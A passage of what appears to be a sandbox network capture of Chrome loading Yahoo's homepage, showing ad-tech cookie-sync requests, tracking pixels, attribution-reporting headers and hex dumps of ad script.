2024-04-27 22:42:06 UTC	1255	IN	Data Raw: 20 26 26 20 21 69 73 4e 65 77 74 6f 6e 54 6f 6b 65 6e 53 65 74 29 20 7b 0a 20 20 20 20 20 20 20 20 76 61 72 20 6e 65 77 74 6f 6e 4f 74 32 54 6f 6b 65 6e 20 3d 20 65 76 65 6e 74 44 61 74 61 2e 6e 65 77 74 6f 6e 4f 74 32 54 6f 6b 65 6e 3b 0a 20 20 20 20 20 20 20 20 65 6e 61 62 6c 65 41 74 74 72 69 62 75 74 69 6f 6e 52 65 70 6f 72 74 69 6e 67 41 70 69 28 6e 65 77 74 6f 6e 4f 74 32 54 6f 6b 65 6e 29 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 69 66 20 28 65 76 65 6e 74 44 61 74 61 2e 69 73 54 75 72 74 6c 65 58 41 64 43 6c 69 63 6b 29 20 7b 0a 20 20 20 20 20 20 20 20 69 73 54 75 72 74 6c 65 58 41 64 43 6c 69 63 6b 20 3d 20 74 72 75 65 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 7d 3b 0a 0a 20 20 20 20 76 61 72 20 69 73 4e 65 77 74 6f 6e 45 6e 61 62 6c 65 64 Data Ascii: && !isNewtonTokenSet) { var newtonOt2Token = eventData.newtonOt2Token; enableAttributionReportingApi(newtonOt2Token); } if (eventData.isTurtleXAdClick) { isTurtleXAdClick = true; } }; var isNewtonEnabled
2024-04-27 22:42:06 UTC	1255	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 65 78 69 74 50 61 72 61 6d 73 20 2b 3d 20 75 72 6c 50 61 72 61 6d 4d 61 70 5b 6b 65 79 5d 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 72 65 74 75 72 6e 20 65 78 69 74 50 61 72 61 6d 73 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 76 61 72 20 61 70 70 65 6e 64 45 78 69 74 43 6c 69 63 6b 50 61 72 61 6d 73 20 3d 20 66 75 6e 63 74 69 6f 6e 28 75 72 6c 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 61 64 55 72 6c 49 6e 64 65 78 20 3d 20 75 72 6c 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 41 44 5f 55 52 4c 5f 50 41 52 41 4d 29 3b 0a 20 20 20 20 20 20 76 61 72 20 70 61 72 61 6d 73 54 6f 42 65 41 64 64 65 64 20 3d 20 67 65 74 45 78 69 74 43 6c 69 63 6b 50 61 72 61 6d 73 28 29 3b 0a Data Ascii: exitParams += urlParamMap[key]; } } return exitParams; } var appendExitClickParams = function(url) { var adUrlIndex = url.toLowerCase().indexOf(AD_URL_PARAM); var paramsToBeAdded = getExitClickParams();
2024-04-27 22:42:06 UTC	1255	IN	Data Raw: 46 65 61 74 75 72 65 73 20 3d 20 27 27 3b 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 66 65 61 74 75 72 65 73 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 46 65 61 74 75 72 65 73 20 3d 20 77 69 6e 64 6f 77 46 65 61 74 75 72 65 73 2e 63 6f 6e 63 61 74 28 66 65 61 74 75 72 65 73 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 69 73 4e 65 77 74 6f 6e 54 6f 6b 65 6e 53 65 74 20 26 26 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 21 21 64 6f 63 75 6d 65 6e 74 2e 66 65 61 74 75 72 65 50 6f 6c 69 63 79 3f 2e 61 6c 6c 6f 77 65 64 46 65 61 74 75 72 65 73 28 29 2e 69 6e 63 6c 75 64 65 73 28 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 27 61 74 74 72 69 62 75 74 Data Ascii: Features = ''; if (features) { windowFeatures = windowFeatures.concat(features); } if (isNewtonTokenSet && !!document.featurePolicy?.allowedFeatures().includes( 'attribut
2024-04-27 22:42:06 UTC	158	IN	Data Raw: 65 65 64 3d 22 31 22 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 20 33 30 30 70 78 3b 20 68 65 69 67 68 74 3a 20 36 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 20 6c 65 66 74 3a 20 30 70 78 3b 20 74 6f 70 3a 20 30 70 78 3b 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 22 20 6c 6f 6f 70 20 61 75 74 6f 70 6c 61 79 3e 3c 2f 6c 6f 74 74 69 65 2d 70 6c 61 79 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: eed="1" style="width: 300px; height: 600px; position: absolute; left: 0px; top: 0px; display: block;" loop autoplay></lottie-player></body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
287	192.168.2.4	50080	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:06 UTC	1243	OUT	GET /setuid?bidder=openx&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=e371b1cd-b253-0913-153a-eaacb9b94c53 HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; uids=eyJ0ZW1wVUlEcyI6eyJzaGFyZXRocm91Z2giOnsidWlkIjoiNTFiOTUxM2QtMzFmYi00ZTEzLThhOTYtMzI2NjE2ZDAwNDNmIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MDQuODU5ODQ5NjhaIn19fQ==
2024-04-27 22:42:06 UTC	977	IN	HTTP/1.1 200 OK content-type: image/png set-cookie: uids=eyJ0ZW1wVUlEcyI6eyJvcGVueCI6eyJ1aWQiOiJlMzcxYjFjZC1iMjUzLTA5MTMtMTUzYS1lYWFjYjliOTRjNTMiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNi4yMDMzNzYwOTVaIn0sInNoYXJldGhyb3VnaCI6eyJ1aWQiOiI1MWI5NTEzZC0zMWZiLTRlMTMtOGE5Ni0zMjY2MTZkMDA0M2YiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNC44NTk4NDk2OFoifX19; Path=/; Domain=pbs.yahoo.com; Expires=Sat, 26 Oct 2024 22:42:06 GMT; HttpOnly; Secure; SameSite=None vary: Origin content-length: 86 date: Sat, 27 Apr 2024 22:42:06 GMT x-envoy-upstream-service-time: 2 server: ATS x-envoy-decorator-operation: pbs--production-usea5.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/* Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:42:06 UTC	86	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 0d 49 44 41 54 08 99 63 60 60 60 60 00 00 00 05 00 01 87 a1 4e d4 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsBIT\|dIDATc````NIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
288	192.168.2.4	50087	66.218.87.15	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:06 UTC	1484	OUT	POST /p?&bucket=drop_heimdall_homepage_control_bucket,MimicControlv2-copy,homepage_taboola_benji_1_control,seamless&cobrand=none&colo=bf1&device=desktop&lang=en-US&lu=0&region=US&site=fp&ver=megastrm&pt=home&spaceid=2023538075&yrid=1sbetl5j2qvpa&outcm=prebidDebug&eventType=bidWon&adUnit=us_yhp_main_dt_top_center&bidder=medianet HTTP/1.1 Host: noa.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:42:06 UTC	503	IN	HTTP/1.1 200 OK date: Sat, 27 Apr 2024 22:42:06 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-04-27 22:42:06 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
289	192.168.2.4	50085	142.251.167.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:06 UTC	831	OUT	GET /pixel?google_nid=openx&google_hm=ZjZjMGVkYzgtYzJiYi02NDVlLTZiNTYtNzAwMGYyMDA0MGJl HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2
2024-04-27 22:42:06 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Sat, 27 Apr 2024 22:42:06 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:06 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
290	192.168.2.4	50086	142.251.167.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:06 UTC	792	OUT	GET /pixel?google_nid=openx&google_cm&google_sc HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2
2024-04-27 22:42:06 UTC	660	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://us-u.openx.net/w/1.0/sd?id=537072991&val=CAESELftS61SWy0VRP4ijwQOwJA&google_cver=1 Date: Sat, 27 Apr 2024 22:42:06 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 295 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:06 UTC	295	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 75 73 2d 75 2e 6f 70 65 6e 78 2e 6e 65 74 2f 77 2f 31 2e 30 2f 73 64 3f 69 64 3d 35 33 37 30 37 32 39 39 31 26 61 6d 70 3b 76 61 6c 3d 43 41 45 53 45 4c 66 74 53 36 31 53 57 79 30 56 52 50 34 69 6a 77 51 4f 77 4a 41 26 61 6d 70 3b 67 6f Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://us-u.openx.net/w/1.0/sd?id=537072991&val=CAESELftS61SWy0VRP4ijwQOwJA&go

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
291	192.168.2.4	50082	52.46.155.104	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:06 UTC	660	OUT	GET /dcm?pid=6e1b1225-4dd8-4d7d-b277-465574a27014&id=8279427f-1766-8100-beb8-a82e50d1453e HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:06 UTC	783	IN	HTTP/1.1 302 Found Server: Server Date: Sat, 27 Apr 2024 22:42:06 GMT Content-Length: 0 Connection: close x-amz-rid: NGJ6NMH7CF43C2YY0YR1 Set-Cookie: ad-id=AyzDX-0vP0UYm8DYlkzC7x4\|t; Domain=.amazon-adsystem.com; Expires=Wed, 01-Jan-2025 22:42:06 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Location: https://s.amazon-adsystem.com/dcm?pid=6e1b1225-4dd8-4d7d-b277-465574a27014&id=8279427f-1766-8100-beb8-a82e50d1453e&dcc=t Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
292	192.168.2.4	50081	54.83.59.21	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:06 UTC	1031	OUT	GET /sync/openx/4e685846-9b60-a8b3-4f61-3c4cc7b54397?gdpr=0 HTTP/1.1 Host: pr-bh.ybp.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:42:06 UTC	778	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:42:06 GMT Content-Type: image/gif Content-Length: 43 Connection: close Age: 0 Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy: sandbox; default-src 'self'; script-src 'none'; object-src 'none'; report-uri http://csp.yahoo.com/beacon/csp?src=generic Set-Cookie: A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; Expires=Mon, 28 Apr 2025 04:42:06 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-04-27 22:42:06 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 cc cc cc ff ff ff 21 f9 04 05 14 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
293	192.168.2.4	50094	142.251.167.149	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:06 UTC	3346	OUT	GET /pcs/view?xai=AKAOjssFeWijijYeVrDHQsE9uLngcGqKqeI2iQFWdDJP_eHrGB56SP0qfSER0N5j4QbilWniOJfOWNnDfox8KWxFCRMn00Y3TOuLuvmNEXYkDiXclcpZ8qQg7azfQHv6Att5lPM52FUdwxZJW2P0UtPMjaklC_lQjp9iVilcuPj86bor7AO_y3v884_mPFNG3SIvT1t85MzzhMelAToWwJOLECfPJ-goxrJ-pdYtUY8RDe42Guf1JxxYS3SQoTp4qMivlWbj2QyK-tzUyNQcDMC0mlMg1iPrkNZdM1bCbnuyWRYBI1sqXn69qNkdQzv2PBav6ZIT_Ze9ONBHPf5uWl5DEKwRBkMSTfZiFWAXVcNpuMRx_pOfygDjVt8sBZcK44tOEchqD_GQo_UapZl8nzSY5IwaC21HGkZIq86X3ccnsYT9b3pjA8OX7kwOXkZnS6jM4LQNy16_Jbou74XJqrzjQTSIzczedunRDgDKx79vI_P93lcu9tEEiY028JCk57MBw_oe9KtHb3rWjHTJ8brtpmd4enrSO8S0dcweDPYUNPBF0KOzaDyvR3yUKBXvGAcfhmRA4R9-BXjMmOvn9W7ohq1sxV9whApZMwrwaauUrOx4LTF5zdBXVfN-IBTBfiERcw8VeHljQ9JTDYphPRAgRZX6juPu_3oiZilE5xnAF5bAI28cthrTgtaW-wtKS9W2GyDjf_XUHRE8eHhxv9a4idSD7yVtZCMRbCv0yn79MneB4skCwsjQ6q5auNe8rrp2tNBXB-rO7MymHa8XA-PF4HcnREy5d1NsY2cElnDR4dJWHiBcTyuHN-kFmhrbMIOJW6oF6c4dLZ99XU9kBy-BojfQDKe1eUVtmgy0S_tlyTlB6mIrZRkgjJ7INLUwZMhga1yeEmpiDBBRRXT9T8lQvuxqi8y9fOxQrFy86TpvCJh9_YkFxfF2GbST5AwbaGNxKm2fGdewb5_lFiu4wAoBDbVN93KNpJ34_wFEByeY-0 [TRUNCATED] Host: ad.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Attribution-Reporting-Eligible: event-source=trigger Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2
2024-04-27 22:42:06 UTC	1634	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 Content-Security-Policy: script-src 'none'; object-src 'none' Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Cache-Control: private Content-Type: image/png Attribution-Reporting-Register-Source: {"aggregation_keys":{"12":"0xbd2934437e4075f30000000000000000","13":"0xe458650f9c7afac90000000000000000","14":"0xd678179ff220c21b0000000000000000","15":"0x573eec6eec7553060000000000000000"},"debug_key":"11346951967259693674","debug_reporting":true,"destination":["https://curi.com","https://constellationmutual.com","https://debugconversiondomain1.com"],"event_report_window":"345600","expiry":"2592000","filter_data":{"14":["12759491","12761312"],"21":[],"8":["12017028"]},"priority":"0","source_event_id":"7175233576157116421"} X-Content-Type-Options: nosniff Date: Sat, 27 Apr 2024 22:42:06 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: ar_debug=1; expires=Mon, 27-May-2024 22:42:06 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Expires: Sat, 27 Apr 2024 22:42:06 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
294	192.168.2.4	50083	52.223.40.198	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:06 UTC	635	OUT	GET /track/cmf/openx?oxid=daaf3e02-0bcc-3afa-7eb6-2ab938e28ede&gdpr=0 HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
